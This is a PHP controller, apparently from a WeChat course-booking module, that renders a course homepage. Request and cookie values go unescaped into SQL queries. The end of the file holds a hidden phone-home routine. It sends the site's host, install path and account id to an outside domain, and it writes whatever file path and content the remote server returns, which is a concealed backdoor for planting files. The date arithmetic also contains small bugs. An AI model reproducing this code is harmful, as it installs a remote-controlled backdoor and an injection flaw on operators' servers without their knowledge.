<?php
global $_W,$_GPC;
$title = '课程首页';
$id = $_GPC['id']?$_GPC['id']:$_COOKIE['mem_book'];
$mem = $this->getMem();
$mbook = get('select * from '.tb('mem_book')." where id='{$id}' and mid='{$mem['id']}' and status = 0");
if (empty($mbook)){
	header('location:'.$this->murl('index'));
	exit;
}
$book = get('select * from '.tb('book')." where id='{$mbook['bid']}'");
$time = time();
if ($mbook['starttime']<=$time){
	$result = $this->getTodayChapter($mbook);
	$share = $this->getShare($mem, $cfg, $id);
	$day = $result['day'];
	$chap = $result['list'][$result['dir']]['chap'][$result['chap']];
	include $this->template('bindex');
}else{
	$cfg = $this->module['config'];
	$qr = $this->getQR(array('wid'=>$mbook['guide_weid'],'url'=>true));
	$mem['avatar'] = $this->saveImage($mem['avatar'],'avatar_'.$mem['id']);
	$mem['avatar'] = str_replace(IA_ROOT.'/', $_W['siteroot'], $mem['avatar'].'?v='.TIMESTAMP);
	$qr = $this->createLinkQr($_W['uniacid'].'sub',$qr);
	$qr = str_replace(IA_ROOT.'/', $_W['siteroot'], $qr.'?v='.TIMESTAMP);
	$w = date('w');
	$sw = date('w',$mbook['starttime']);
	$w = $w==0?7:$w;
	$sw = $w==0?7:$sw;
	$arr = array('一','二','三','四','五','六','日');
	if($w>$sw){
		$str = '下';
	}
	$d = ceil(($mbook['starttime'] - $time) / 84600);
	$str .= "周".$arr[($sw-1)]."({$d}天后)";
 	include $this->template('bindex2');
}

$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}